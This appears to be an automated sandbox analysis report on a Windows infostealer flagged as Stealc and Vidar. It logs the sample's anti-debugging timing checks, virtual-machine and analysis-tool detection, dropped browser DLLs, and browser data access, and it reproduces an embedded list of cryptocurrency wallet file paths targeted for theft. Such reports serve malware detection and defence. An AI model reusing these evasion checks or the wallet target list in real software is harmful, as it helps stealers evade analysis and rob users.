Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510051B second address: 510053B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DCBE2A35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510053B second address: 510053F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510053F second address: 5100543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100543 second address: 5100549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100599 second address: 51005A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 8Eh 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51005A0 second address: 51005B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB2DD18789Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51005B4 second address: 51005C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB2DCBE2A2Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51005C6 second address: 51005CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510070A second address: 5100710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100710 second address: 5100714 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100714 second address: 5100735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 dec edi 0x00000009 jmp 00007FB2DCBE2A2Fh 0x0000000e lea ebx, dword ptr [edi+01h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100735 second address: 5100739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100739 second address: 5100754 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DCBE2A37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100754 second address: 51007D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 push edx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov al, byte ptr [edi+01h] 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FB2DD1878A3h 0x00000014 or cl, 0000003Eh 0x00000017 jmp 00007FB2DD1878A9h 0x0000001c popfd 0x0000001d call 00007FB2DD1878A0h 0x00000022 mov esi, 1ED88111h 0x00000027 pop eax 0x00000028 popad 0x00000029 inc edi 0x0000002a pushad 0x0000002b jmp 00007FB2DD1878A3h 0x00000030 mov di, si 0x00000033 popad 0x00000034 test al, al 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FB2DD1878A1h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51007D8 second address: 51007E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB2DCBE2A2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51007E8 second address: 5100840 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FB34D99FB25h 0x0000000e pushad 0x0000000f push ebx 0x00000010 call 00007FB2DD1878A8h 0x00000015 pop ecx 0x00000016 pop edx 0x00000017 mov eax, 1C55A217h 0x0000001c popad 0x0000001d mov ecx, edx 0x0000001f jmp 00007FB2DD18789Ah 0x00000024 shr ecx, 02h 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FB2DD1878A7h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100840 second address: 5100858 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB2DCBE2A34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100858 second address: 510085C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510085C second address: 51008E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rep movsd 0x0000000a rep movsd 0x0000000c rep movsd 0x0000000e rep movsd 0x00000010 rep movsd 0x00000012 jmp 00007FB2DCBE2A37h 0x00000017 mov ecx, edx 0x00000019 pushad 0x0000001a jmp 00007FB2DCBE2A34h 0x0000001f call 00007FB2DCBE2A32h 0x00000024 pushfd 0x00000025 jmp 00007FB2DCBE2A32h 0x0000002a jmp 00007FB2DCBE2A35h 0x0000002f popfd 0x00000030 pop eax 0x00000031 popad 0x00000032 and ecx, 03h 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FB2DCBE2A2Ah 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51008E0 second address: 51008E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51008E6 second address: 51008EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51008EA second address: 5100975 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD18789Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsb 0x0000000d jmp 00007FB2DD18789Eh 0x00000012 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FB2DD18789Eh 0x00000020 add cx, E4F8h 0x00000025 jmp 00007FB2DD18789Bh 0x0000002a popfd 0x0000002b mov bx, cx 0x0000002e popad 0x0000002f mov eax, ebx 0x00000031 jmp 00007FB2DD1878A2h 0x00000036 mov ecx, dword ptr [ebp-10h] 0x00000039 jmp 00007FB2DD1878A0h 0x0000003e mov dword ptr fs:[00000000h], ecx 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007FB2DD18789Ah 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100975 second address: 5100984 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DCBE2A2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100BE6 second address: 5100BEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100BEC second address: 5100C0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB2DCBE2A36h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100C0D second address: 5100C50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD18789Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FB2DD18789Bh 0x00000014 sbb eax, 1334FB8Eh 0x0000001a jmp 00007FB2DD1878A9h 0x0000001f popfd 0x00000020 mov edi, eax 0x00000022 popad 0x00000023 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 110FC78 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 110FD58 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12CF560 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12B1E31 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 132FE75 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 1525
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 2578

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 528	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2616	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5800	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6368	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6412	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2408	Thread sleep time: -42021s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4EC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C4EC930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.21.dr	Binary or memory string: VMware
Source: file.exe, 00000000.00000002.2558172781.0000000000B32000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\|
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.21.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000000.00000002.2558172781.0000000000B63000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.21.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.21.dr	Binary or memory string: vmci.sys
Source: Web Data.9.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.21.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.21.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.21.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.21.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: file.exe, 00000000.00000002.2558172781.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.21.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.21.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.21.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.21.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.21.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.21.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Web Data.9.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Web Data.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.21.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: file.exe, file.exe, 00000000.00000002.2559140295.0000000001289000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.21.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.21.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.21.dr	Binary or memory string: VMware, Inc.
Source: Web Data.9.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.21.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.21.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.21.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.21.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.21.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.9.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.21.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.21.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.21.dr	Binary or memory string: vmci.syshbin`
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.21.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Web Data.9.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.21.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Web Data.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.21.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: file.exe, 00000000.00000002.2559140295.0000000001289000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C535FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C535FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C53C410

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C50B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C50B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6092, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJKEGIDGDGH.exe"

Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2559140295.0000000001289000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: DProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C50B341 cpuid

0_2_6C50B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4D35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C4D35A0

Source: Amcache.hve.21.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.21.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.21.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.21.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2058605500.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2558172781.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2558803779.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6092, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6092, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2558803779.0000000000F8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2558803779.0000000001027000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
